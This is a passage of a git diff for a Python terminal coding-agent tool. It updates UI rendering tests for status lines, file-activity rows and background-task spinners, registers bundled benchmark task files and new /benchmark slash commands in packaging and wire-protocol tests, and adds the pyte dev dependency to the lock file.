+ return False + + def handle_running_prompt_key(self, key: str, event) -> None: # noqa: ANN001 + raise AssertionError("not expected") + + border = "──────── ● off" + session = _card_session(delegate=_StyledDelegate()) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr( + session, "_render_input_top_border", lambda _c, _f: [("class:border", border)] + ) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + fragments = session._render_agent_prompt_message() + + assert ("class:stream.body", "assistant chunk") in fragments + assert ("class:border", border) in fragments + assert ("class:placeholder", "keep typing") in fragments + assert ( + session._thinking_prompt_prefix_style(), + f"{prompt_module.PROMPT_SYMBOL_AGENT_INPUT} ", + ) in fragments + + +def test_render_agent_prompt_message_keeps_live_view_chrome_before_first_commit( + monkeypatch, +) -> None: + """The real live view keeps the empty card visible before first scrollback commit.""" + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + border = "──────── ● off" + view = object.__new__(_PromptLiveView) + view._scrollback_handoff_depth = 0 + view._turn_ended = False + view._committed_scrollback_this_turn = False + view._current_approval_request_panel = None + view._transient_command_output = None + view._queued_messages = [] + view._awaiting_input_card_restore_anchor = False + + session = _card_session(delegate=view) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + view._committed_scrollback_this_turn = True + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + def test_prompt_composing_activity_is_pinned_below_stream_body() -> None: import time as _time @@ -311,6 +737,53 @@ def test_prompt_composing_activity_is_pinned_below_stream_body() -> None: assert "Composing" in pinned_tail +def test_pinned_tail_prefers_active_subagent_tool_over_composing() -> None: + import re + import time as _time + from collections import deque + + from pythinker_core.message import ToolCall + + from pythinker_code.ui.shell.visualize._blocks import _ContentBlock, _ToolCallBlock + + view = object.__new__(_PromptLiveView) + view._turn_ended = False + view._active_turn_depth = 1 + view._turn_start_time = _time.monotonic() + view._current_question_panel = None + view._current_approval_request_panel = None + view._turn_token_samples = deque() + + block = _ContentBlock(is_think=False) + block.append("Writing the consolidated report now.") + view._current_content_block = block + + agent_block = _ToolCallBlock( + ToolCall( + id="agent-1", + function=ToolCall.FunctionBody( + name="Agent", + arguments='{"description":"review","subagent_type":"review","prompt":"scan"}', + ), + ) + ) + sub_call = ToolCall( + id="sub-1", + function=ToolCall.FunctionBody( + name="ReadFile", + arguments='{"path":"src/pythinker_code/ui/shell/prompt.py"}', + ), + ) + agent_block.append_sub_tool_call(sub_call) + agent_block.mark_sub_execution_started("sub-1") + view._tool_call_blocks = {"agent-1": agent_block} + + tail = re.sub(r"\x1b\[[0-9;]*m", "", view.render_pinned_status_tail(100).value) + + assert "agent Read src/pythinker_code/ui/shell/prompt.py" in tail + assert "Composing" not in tail + + def test_render_pinned_status_tail_empty_when_turn_inactive() -> None: view = object.__new__(_PromptLiveView) view._turn_ended = True @@ -361,6 +834,21 @@ def test_render_pinned_status_tail_finalizing_during_scrollback_handoff() -> Non assert view.render_pinned_status_tail(80).value == "" +def test_scrollback_handoff_suppresses_transient_prompt_layers() -> None: + view = object.__new__(_PromptLiveView) + view._turn_ended = False + view._active_turn_depth = 1 + view._scrollback_handoff_depth = 1 + view._current_question_panel = None + view._current_approval_request_panel = None + view._committed_scrollback_this_turn = True + + assert view.render_agent_status(80).value == "" + assert view.render_pinned_status_tail(80).value == "" + assert view.running_prompt_hide_input_card() is True + assert view.running_prompt_hide_input_card_chrome() is True + + def test_render_pinned_status_tail_no_elapsed_spinner_during_midturn_handoff() -> None: """Mid-turn tool-transition handoffs (turn still active) must not render the elapsed-time verb spinner or tips β€” they stack as fossilized scrollback when @@ -617,6 +1105,38 @@ async def _run_in_terminal(func, *args, **kwargs): # noqa: ANN001, ANN002, ANN0 assert view._pending_scrollback == [] +@pytest.mark.asyncio +async def test_flush_pending_scrollback_restores_input_card_after_next_successful_flush( + monkeypatch, +) -> None: + class _PromptSession: + def invalidate(self) -> None: + pass + + async def _run_in_terminal(func, *args, **kwargs): # noqa: ANN001, ANN002, ANN003 + func() + + monkeypatch.setattr(_interactive_mod, "run_in_terminal", _run_in_terminal) + monkeypatch.setattr(_live_view_mod.console, "print", lambda *args, **kwargs: None) + + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + view._emit_action_block(Text("first committed action")) + + await view._flush_pending_scrollback() + + assert view._awaiting_input_card_restore_anchor is True + + view._emit_final_scrollback(Text("next scrollback block")) + + await view._flush_pending_scrollback() + + assert view._awaiting_input_card_restore_anchor is False + + @pytest.mark.asyncio async def test_flush_pending_scrollback_retains_queue_on_handoff_failure(monkeypatch) -> None: printed: list[object] = [] @@ -707,6 +1227,109 @@ def test_render_pinned_status_tail_empty_while_question_panel_open() -> None: assert view.render_pinned_status_tail(80).value == "" +def test_file_activity_shelf_renders_compact_rows() -> None: + from rich.console import Console + + from pythinker_code.ui.shell.visualize._blocks import FileActivityShelf + + shelf = FileActivityShelf(max_rows=2) + shelf.mark("src/one.py", "created") + shelf.mark("src/two.py", "updated") + shelf.mark("src/three.py", "writing") + + console = Console(width=80, record=True, color_system=None) + rendered = shelf.render(80) + assert rendered is not None + console.print(rendered) + plain = console.export_text() + + assert "Files" in plain + assert "updated" in plain + assert "src/two.py" in plain + assert "writing" in plain + assert "src/three.py" in plain + assert "+1 more" in plain + assert "src/one.py" not in plain + + +def test_compose_agent_output_hides_file_activity_shelf_by_default() -> None: + from rich.console import Console + + class _PromptSession: + def update_pinned_todos(self, _items) -> None: # noqa: ANN001 + pass + + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + view._file_activity_shelf.mark("src/noisy.py", "updated") + + console = Console(width=80, record=True, color_system=None) + for block in view.compose_agent_output(include_working_indicator=False): + console.print(block) + + plain = console.export_text() + assert "Files" not in plain + assert "src/noisy.py" not in plain + + +def test_file_activity_tracks_write_tool_until_result() -> None: + import json + + from pythinker_core.message import ToolCall + from pythinker_core.tooling import ToolResult, ToolReturnValue + from rich.console import Console + + from pythinker_code.tools.display import DiffDisplayBlock + + class _PromptSession: + def update_pinned_todos(self, _items) -> None: # noqa: ANN001 + pass + + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + call = ToolCall( + id="write-1", + function=ToolCall.FunctionBody( + name="WriteFile", + arguments=json.dumps({"path": "src/new_file.py", "content": "print(1)"}), + ), + ) + + view.append_tool_call(call) + live = view._file_activity_shelf.render(80) + assert live is not None + console = Console(width=80, record=True, color_system=None) + console.print(live) + assert "writing" in console.export_text() + + view.append_tool_result( + ToolResult( + tool_call_id="write-1", + return_value=ToolReturnValue( + is_error=False, + output="ok", + message="ok", + display=[ + DiffDisplayBlock(path="src/new_file.py", old_text="", new_text="print(1)") + ], + ), + ) + ) + console = Console(width=80, record=True, color_system=None) + updated = view._file_activity_shelf.render(80) + assert updated is not None + console.print(updated) + plain = console.export_text() + assert "updated" in plain + assert "src/new_file.py" in plain + + def test_pinned_tail_stays_visible_while_foreground_tool_executes() -> None: """The shimmer verb spinner stays pinned for the whole active turn β€” including while a foreground tool (e.g. a server started via the shell tool, or a @@ -806,7 +1429,7 @@ def test_pinned_tail_survives_preamble_clip() -> None: preamble = FormattedText([("", "\n".join(f"line {i}" for i in range(40)))]) pinned = FormattedText([("", "Pondering…\n"), ("", " ⎿ Tip: do the thing")]) - out = CustomPromptSession._fit_preamble_with_pinned_tail( + out = prompt_module.CustomPromptSession._fit_preamble_with_pinned_tail( preamble, pinned, columns=80, max_rows=6 ) text = "".join(fragment for _, fragment, *_ in out) @@ -821,7 +1444,7 @@ def test_pinned_tail_absent_falls_back_to_plain_clip() -> None: from prompt_toolkit.formatted_text import FormattedText preamble = FormattedText([("", "\n".join(f"line {i}" for i in range(40)))]) - out = CustomPromptSession._fit_preamble_with_pinned_tail( + out = prompt_module.CustomPromptSession._fit_preamble_with_pinned_tail( preamble, FormattedText(), columns=80, max_rows=6 ) text = "".join(fragment for _, fragment, *_ in out) @@ -831,7 +1454,7 @@ def test_pinned_tail_absent_falls_back_to_plain_clip() -> None: def test_pinned_tail_has_blank_row_after_preamble() -> None: from prompt_toolkit.formatted_text import FormattedText - out = CustomPromptSession._fit_preamble_with_pinned_tail( + out = prompt_module.CustomPromptSession._fit_preamble_with_pinned_tail( FormattedText([("", "tool output")]), FormattedText([("", "Actioning…")]), columns=80, @@ -845,7 +1468,7 @@ def test_pinned_tail_has_blank_row_after_preamble() -> None: def test_pinned_tail_has_blank_row_below_before_prompt() -> None: from prompt_toolkit.formatted_text import FormattedText - out = CustomPromptSession._fit_preamble_with_pinned_tail( + out = prompt_module.CustomPromptSession._fit_preamble_with_pinned_tail( FormattedText([("", "tool output")]), FormattedText([("", "Actioning…")]), columns=80, @@ -861,7 +1484,7 @@ def test_pinned_tail_has_blank_row_below_before_prompt() -> None: def test_pinned_tail_has_initial_blank_row_when_first_visible_status() -> None: from prompt_toolkit.formatted_text import FormattedText - out = CustomPromptSession._fit_preamble_with_pinned_tail( + out = prompt_module.CustomPromptSession._fit_preamble_with_pinned_tail( FormattedText(), FormattedText([("", "Actioning…")]), columns=80, @@ -873,12 +1496,12 @@ def test_pinned_tail_has_initial_blank_row_when_first_visible_status() -> None: def test_prompt_status_shows_working_spinner_for_background_tasks() -> None: - session = object.__new__(CustomPromptSession) + session = object.__new__(prompt_module.CustomPromptSession) session._running_prompt_delegate = None - session._background_task_count_provider = lambda: BgTaskCounts(agent=2) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=2) session._status_block_provider = None - rendered = CustomPromptSession._render_agent_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 80) text = "".join(item[1] for item in rendered) assert "…" in text @@ -891,19 +1514,18 @@ def test_prompt_status_block_renders_above_agent_input_preamble() -> None: def _status_block(_columns: int) -> FormattedText: return FormattedText([("", "β€’ Booting MCP server: context7")]) - session = object.__new__(CustomPromptSession) + session = object.__new__(prompt_module.CustomPromptSession) session._running_prompt_delegate = None session._background_task_count_provider = None session._status_block_provider = _status_block - rendered = CustomPromptSession._render_agent_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 80) text = "".join(item[1] for item in rendered) assert text.startswith("β€’ Booting MCP server: context7") def test_background_status_splits_verb_and_count_styles(monkeypatch) -> None: - import pythinker_code.ui.shell.prompt as prompt_module from pythinker_code.ui.theme import get_active_theme, set_active_theme monkeypatch.setattr(prompt_module.time, "monotonic", lambda: 0.88) @@ -913,10 +1535,10 @@ def test_background_status_splits_verb_and_count_styles(monkeypatch) -> None: saved_theme = get_active_theme() try: set_active_theme("dark") - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=2) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=2) - rendered = CustomPromptSession._render_background_working_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_background_working_status(session, 80) finally: set_active_theme(saved_theme) @@ -934,8 +1556,8 @@ def test_background_status_splits_verb_and_count_styles(monkeypatch) -> None: def test_prompt_status_falls_back_to_background_spinner_after_turn_end() -> None: - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=1) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=1) session._status_block_provider = None session._latest_todos = () @@ -945,7 +1567,7 @@ def render_agent_status(self, columns: int): # noqa: ARG002 session._running_prompt_delegate = cast(Any, _EndedDelegate()) - rendered = CustomPromptSession._render_agent_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 80) text = "".join(item[1] for item in rendered) assert "…" in text @@ -953,8 +1575,8 @@ def render_agent_status(self, columns: int): # noqa: ARG002 def test_prompt_status_keeps_background_spinner_during_blocking_task_output() -> None: - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=2) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=2) session._status_block_provider = None session._latest_todos = () @@ -967,7 +1589,7 @@ def render_pinned_status_tail(self, columns: int): # noqa: ARG002 session._running_prompt_delegate = cast(Any, _BlockingTaskOutputDelegate()) - rendered = CustomPromptSession._render_agent_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 80) text = "".join(item[1] for item in rendered) assert "TaskOutput(agent-reviewer" in text @@ -976,16 +1598,16 @@ def render_pinned_status_tail(self, columns: int): # noqa: ARG002 def test_prompt_status_keeps_todos_visible_during_background_tasks() -> None: - session = object.__new__(CustomPromptSession) + session = object.__new__(prompt_module.CustomPromptSession) session._running_prompt_delegate = None - session._background_task_count_provider = lambda: BgTaskCounts(agent=3) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=3) session._status_block_provider = None session._latest_todos = ( TodoDisplayItem(title="Security vulnerability scan", status="in_progress"), TodoDisplayItem(title="Code quality review", status="pending"), ) - rendered = CustomPromptSession._render_agent_status(session, 100) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 100) text = "".join(item[1] for item in rendered) assert "3 background agents" not in text @@ -994,7 +1616,7 @@ def test_prompt_status_keeps_todos_visible_during_background_tasks() -> None: def test_prompt_background_todo_rows_align_icons_and_titles() -> None: - session = object.__new__(CustomPromptSession) + session = object.__new__(prompt_module.CustomPromptSession) session._latest_todos = ( TodoDisplayItem( title="Launch parallel deep scan agents (overengineering, simplicity, architecture, bug hunt)", @@ -1006,7 +1628,7 @@ def test_prompt_background_todo_rows_align_icons_and_titles() -> None: ), ) - rendered = CustomPromptSession._render_background_todo_rows(session, 120) + rendered = prompt_module.CustomPromptSession._render_background_todo_rows(session, 120) lines = "".join(item[1] for item in rendered).splitlines() assert lines[0].startswith(" ⎿ β–  ") @@ -1019,8 +1641,8 @@ def test_prompt_background_todo_rows_align_icons_and_titles() -> None: def test_background_status_drops_verb_when_working_indicator_pinned() -> None: """During an active turn the pinned working indicator owns the verb, so the background-task line must show the count *without* repeating it.""" - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=3) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=3) session._status_block_provider = None class _ActiveDelegate: @@ -1032,7 +1654,7 @@ def render_pinned_status_tail(self, columns: int): # noqa: ARG002 session._running_prompt_delegate = cast(Any, _ActiveDelegate()) - rendered = CustomPromptSession._render_agent_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_agent_status(session, 80) text = "".join(item[1] for item in rendered) # The pinned tail owns the verb and the footer owns the count β€” nothing @@ -1045,8 +1667,8 @@ def test_background_status_omits_todos_when_verb_pinned() -> None: """When the pinned status tail is active (show_verb=False) it already renders the todo list under the verb spinner; the background-task line must NOT repeat it, or the same todo list renders twice while the agent works.""" - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=3) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=3) session._status_block_provider = None session._latest_todos = ( TodoDisplayItem(title="Security vulnerability scan", status="in_progress"), @@ -1055,7 +1677,7 @@ def test_background_status_omits_todos_when_verb_pinned() -> None: # Between turns (no pinned tail) the background line is the only surface, # so it must carry the todos β€” but never a count (the footer owns that). - standalone = CustomPromptSession._render_background_working_status(session, 100) + standalone = prompt_module.CustomPromptSession._render_background_working_status(session, 100) standalone_text = "".join(item[1] for item in standalone) assert "Security vulnerability scan" in standalone_text assert "Code quality review" in standalone_text @@ -1606,8 +2228,8 @@ def test_handle_local_input_queues_message_by_default() -> None: view._queued_messages = [] view._prompt_session = MagicMock() - user_in = UserInput( - mode=PromptMode.AGENT, + user_in = prompt_module.UserInput( + mode=prompt_module.PromptMode.AGENT, command="[Pasted text #1 +3 lines]", resolved_command="line1\nline2\nline3", content=[TextPart(text="line1\nline2\nline3")], @@ -1626,8 +2248,8 @@ def test_handle_local_input_ignores_finished_turn(monkeypatch) -> None: view._flush_prompt_refresh = lambda: None view.handle_local_input( - UserInput( - mode=PromptMode.AGENT, + prompt_module.UserInput( + mode=prompt_module.PromptMode.AGENT, command="ignored", resolved_command="ignored", content=[TextPart(text="ignored")], @@ -2266,12 +2888,11 @@ async def test_approval_request_feedback_available_before_wait(): def test_background_status_shows_elapsed_tokens_and_rate(monkeypatch) -> None: """The line above the input carries (elapsed, ↓ tokens, t/s) β€” the same metadata design as the live view's working indicator.""" - import pythinker_code.ui.shell.prompt as prompt_module from pythinker_code.soul import live_tokens live_tokens.reset_for_tests() - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(agent=2) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(agent=2) session._latest_todos = () state = {"now": 100.0, "output_tokens": 0} monkeypatch.setattr(prompt_module.time, "monotonic", lambda: state["now"]) @@ -2282,7 +2903,7 @@ def test_background_status_shows_elapsed_tokens_and_rate(monkeypatch) -> None: ) def render() -> str: - rendered = CustomPromptSession._render_background_working_status(session, 120) + rendered = prompt_module.CustomPromptSession._render_background_working_status(session, 120) return "".join(item[1] for item in rendered) first = render() @@ -2304,7 +2925,7 @@ def render() -> str: assert "(<1s, ↓ 40.8k tokens, 1000 t/s)" in third # Draining background work resets the trackers. - session._background_task_count_provider = lambda: BgTaskCounts() + session._background_task_count_provider = prompt_module.BgTaskCounts assert render() == "" assert session._bg_status_started_at is None assert session._bg_status_start_tokens is None @@ -2314,10 +2935,10 @@ def render() -> str: def test_background_pure_bash_uses_fixed_label_not_verb_spinner() -> None: """Pure-bash background work (npm dev, docker run) shows a fixed label, not the agent verb spinner ('Composing…' / 'Brewing…').""" - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(bash=1) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(bash=1) - rendered = CustomPromptSession._render_background_working_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_background_working_status(session, 80) text = "".join(item[1] for item in rendered) assert "Running in background…" in text @@ -2331,13 +2952,12 @@ def test_background_pure_bash_uses_fixed_label_not_verb_spinner() -> None: def test_background_mixed_bash_agent_keeps_verb_spinner(monkeypatch) -> None: """When agent work is also running, the verb spinner stays β€” the agent is actively working.""" - import pythinker_code.ui.shell.prompt as prompt_module monkeypatch.setattr(prompt_module.time, "monotonic", lambda: 0.5) - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(bash=1, agent=1) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(bash=1, agent=1) - rendered = CustomPromptSession._render_background_working_status(session, 80) + rendered = prompt_module.CustomPromptSession._render_background_working_status(session, 80) text = "".join(item[1] for item in rendered) assert "Running in background…" not in text @@ -2345,15 +2965,13 @@ def test_background_mixed_bash_agent_keeps_verb_spinner(monkeypatch) -> None: def test_background_status_truncates_after_dropping_metadata(monkeypatch) -> None: - import pythinker_code.ui.shell.prompt as prompt_module - monkeypatch.setattr(prompt_module.time, "monotonic", lambda: 0.0) - session = object.__new__(CustomPromptSession) - session._background_task_count_provider = lambda: BgTaskCounts(bash=1) + session = object.__new__(prompt_module.CustomPromptSession) + session._background_task_count_provider = lambda: prompt_module.BgTaskCounts(bash=1) session._background_status_metadata = lambda now: "metadata" session._latest_todos = () - rendered = CustomPromptSession._render_background_working_status(session, 8) + rendered = prompt_module.CustomPromptSession._render_background_working_status(session, 8) text = "".join(item[1] for item in rendered) assert "metadata" not in text @@ -2363,9 +2981,8 @@ def test_background_status_truncates_after_dropping_metadata(monkeypatch) -> Non def test_bg_refresh_active_drops_to_idle_when_quiet(monkeypatch) -> None: """A quiet background task (no token flow past the threshold) signals the refresh loop to drop from 0.1s to 1.0s.""" - import pythinker_code.ui.shell.prompt as prompt_module - session = object.__new__(CustomPromptSession) + session = object.__new__(prompt_module.CustomPromptSession) base = prompt_module.time.monotonic() session._bg_last_active_at = base @@ -2419,8 +3036,8 @@ def test_transient_command_output_dismissed_by_new_input() -> None: assert "menu line" in view.render_running_prompt_body(80).value view.handle_local_input( - UserInput( - mode=PromptMode.AGENT, + prompt_module.UserInput( + mode=prompt_module.PromptMode.AGENT, command="continue please", resolved_command="continue please", content=[TextPart(text="continue please")], @@ -2447,8 +3064,8 @@ def test_transient_panel_renders_alongside_queued_messages() -> None: view = _make_prompt_live_view() view._show_transient_command_output("panel content") view._queued_messages.append( - UserInput( - mode=PromptMode.AGENT, + prompt_module.UserInput( + mode=prompt_module.PromptMode.AGENT, command="queued msg", resolved_command="queued msg", content=[TextPart(text="queued msg")], @@ -2471,8 +3088,8 @@ async def runner(call) -> None: view = _make_prompt_live_view(shell_command_runner=runner) view._turn_ended = False consumed = view._intercept_shell_command( - UserInput( - mode=PromptMode.AGENT, + prompt_module.UserInput( + mode=prompt_module.PromptMode.AGENT, command="/version", resolved_command="/version", content=[TextPart(text="/version")], diff --git a/tests/utils/test_pyinstaller_utils.py b/tests/utils/test_pyinstaller_utils.py index d4053591..c0c224e0 100644 --- a/tests/utils/test_pyinstaller_utils.py +++ b/tests/utils/test_pyinstaller_utils.py @@ -105,6 +105,42 @@ def test_pyinstaller_datas(): ("src/pythinker_code/agents/default/system.md", "pythinker_code/agents/default"), ("src/pythinker_code/agents/default/verifier.yaml", "pythinker_code/agents/default"), ("src/pythinker_code/agents/okabe/agent.yaml", "pythinker_code/agents/okabe"), + ( + "src/pythinker_code/benchmark/bundled/suites/pythinker-core.json", + "pythinker_code/benchmark/bundled/suites", + ), + ( + "src/pythinker_code/benchmark/bundled/suites/pythinker-smoke.json", + "pythinker_code/benchmark/bundled/suites", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/core-atomic-transfer.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/core-dedup-order.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/core-explicit-none-metadata.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/core-safe-path-join.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/smoke-add-small-function.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/smoke-edit-readme.json", + "pythinker_code/benchmark/bundled/tasks", + ), + ( + "src/pythinker_code/benchmark/bundled/tasks/smoke-fix-python-test.json", + "pythinker_code/benchmark/bundled/tasks", + ), ("src/pythinker_code/prompts/best_practices.md", "pythinker_code/prompts"), ("src/pythinker_code/prompts/compact.md", "pythinker_code/prompts"), ("src/pythinker_code/prompts/goal_continuation.md", "pythinker_code/prompts"), diff --git a/tests_e2e/test_wire_protocol.py b/tests_e2e/test_wire_protocol.py index 5bd87509..c2b6ea11 100644 --- a/tests_e2e/test_wire_protocol.py +++ b/tests_e2e/test_wire_protocol.py @@ -95,6 +95,58 @@ def test_initialize_handshake(tmp_path) -> None: "description": "Inject engineering best practices (code changes, testing, todos, debugging) into context", "aliases": ["bp"], }, + { + "name": "benchmark", + "description": """\ +Run native Pythinker Benchmark tasks. +Usage: /benchmark \ +""", + "aliases": [], + }, + { + "name": "benchmark:start", + "description": "Start Pythinker Benchmark. Usage: /benchmark:start [--task | --suite ]", + "aliases": [], + }, + { + "name": "benchmark:all", + "description": "Run the default Pythinker Benchmark suite. Usage: /benchmark:all", + "aliases": [], + }, + { + "name": "benchmark:estimate", + "description": "Estimate Pythinker Benchmark. Usage: /benchmark:estimate [--task | --suite ]", + "aliases": [], + }, + { + "name": "benchmark:list", + "description": "List Pythinker Benchmark tasks and suites. Usage: /benchmark:list", + "aliases": [], + }, + { + "name": "benchmark:show", + "description": "Show a Pythinker Benchmark run. Usage: /benchmark:show ", + "aliases": [], + }, + { + "name": "benchmark:report", + "description": "Show Pythinker Benchmark report index. Usage: /benchmark:report [--suite ]", + "aliases": [], + }, + { + "name": "benchmark:compare", + "description": "Compare Pythinker Benchmark models. Usage: /benchmark:compare --models ", + "aliases": [], + }, + { + "name": "benchmark:swe", + "description": """\ +Run trusted SWE-style local fixture benchmark tasks. + +Usage: /benchmark:swe --dataset --trusted-dataset true\ +""", + "aliases": [], + }, { "name": "add-dir", "description": "Add a directory to the workspace. Usage: /add-dir . Run without args to list added dirs", @@ -320,6 +372,58 @@ def test_initialize_external_tool_conflict(tmp_path) -> None: "description": "Inject engineering best practices (code changes, testing, todos, debugging) into context", "aliases": ["bp"], }, + { + "name": "benchmark", + "description": """\ +Run native Pythinker Benchmark tasks. +Usage: /benchmark \ +""", + "aliases": [], + }, + { + "name": "benchmark:start", + "description": "Start Pythinker Benchmark. Usage: /benchmark:start [--task | --suite ]", + "aliases": [], + }, + { + "name": "benchmark:all", + "description": "Run the default Pythinker Benchmark suite. Usage: /benchmark:all", + "aliases": [], + }, + { + "name": "benchmark:estimate", + "description": "Estimate Pythinker Benchmark. Usage: /benchmark:estimate [--task | --suite ]", + "aliases": [], + }, + { + "name": "benchmark:list", + "description": "List Pythinker Benchmark tasks and suites. Usage: /benchmark:list", + "aliases": [], + }, + { + "name": "benchmark:show", + "description": "Show a Pythinker Benchmark run. Usage: /benchmark:show ", + "aliases": [], + }, + { + "name": "benchmark:report", + "description": "Show Pythinker Benchmark report index. Usage: /benchmark:report [--suite ]", + "aliases": [], + }, + { + "name": "benchmark:compare", + "description": "Compare Pythinker Benchmark models. Usage: /benchmark:compare --models ", + "aliases": [], + }, + { + "name": "benchmark:swe", + "description": """\ +Run trusted SWE-style local fixture benchmark tasks. + +Usage: /benchmark:swe --dataset --trusted-dataset true\ +""", + "aliases": [], + }, { "name": "add-dir", "description": "Add a directory to the workspace. Usage: /add-dir . Run without args to list added dirs", diff --git a/tests_e2e/wire_helpers.py b/tests_e2e/wire_helpers.py index 1e41ed64..c14c45ae 100644 --- a/tests_e2e/wire_helpers.py +++ b/tests_e2e/wire_helpers.py @@ -90,6 +90,7 @@ def write_scripted_config( provider_name: str = "scripted_provider", capabilities: list[str] | None = None, loop_control: dict[str, Any] | None = None, + extra_config: Mapping[str, Any] | None = None, ) -> Path: scripts_path = write_scripts_file(tmp_path, scripts) model_config: dict[str, Any] = { @@ -114,6 +115,8 @@ def write_scripted_config( } if loop_control: config_data["loop_control"] = loop_control + if extra_config: + config_data.update(extra_config) config_path = tmp_path / "config.json" config_path.write_text(json.dumps(config_data), encoding="utf-8") diff --git a/uv.lock b/uv.lock index 2e206f47..aa5f667a 100644 --- a/uv.lock +++ b/uv.lock @@ -2470,6 +2470,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/16/6b/330d8ebae582b30c2959a1ef4c3bc344ebde48c2ff0c3f113c4710735e11/pyright-1.1.409-py3-none-any.whl", hash = "sha256:aa3ea228cab90c845c7a60d28db7a844c04315356392aa09fafcee98c8c22fb3", size = 6438161, upload-time = "2026-04-23T11:02:01.309Z" }, ] +[[package]] +name = "pyte" +version = "0.8.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wcwidth" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/ab/b599762933eba04de7dc5b31ae083112a6c9a9db15b01d3109ad797559d9/pyte-0.8.2.tar.gz", hash = "sha256:5af970e843fa96a97149d64e170c984721f20e52227a2f57f0a54207f08f083f", size = 92301, upload-time = "2023-11-12T09:33:43.217Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/d0/bb522283b90853afbf506cd5b71c650cf708829914efd0003d615cf426cd/pyte-0.8.2-py3-none-any.whl", hash = "sha256:85db42a35798a5aafa96ac4d8da78b090b2c933248819157fc0e6f78876a0135", size = 31627, upload-time = "2023-11-12T09:33:41.096Z" }, +] + [[package]] name = "pytest" version = "9.0.3" @@ -2561,6 +2573,7 @@ dev = [ { name = "inline-snapshot", extra = ["black"] }, { name = "pyinstaller" }, { name = "pyright" }, + { name = "pyte" }, { name = "pytest" }, { name = "pytest-asyncio" }, { name = "pytest-cov" }, @@ -2613,6 +2626,7 @@ dev = [ { name = "inline-snapshot", extras = ["black"], specifier = ">=0.31.1" }, { name = "pyinstaller", specifier = "==6.18.0" }, { name = "pyright", specifier = ">=1.1.409" }, + { name = "pyte", specifier = ">=0.8.2" }, { name = "pytest", specifier = ">=9.0.3" }, { name = "pytest-asyncio", specifier = ">=1.3.0" }, { name = "pytest-cov", specifier = ">=6.0" },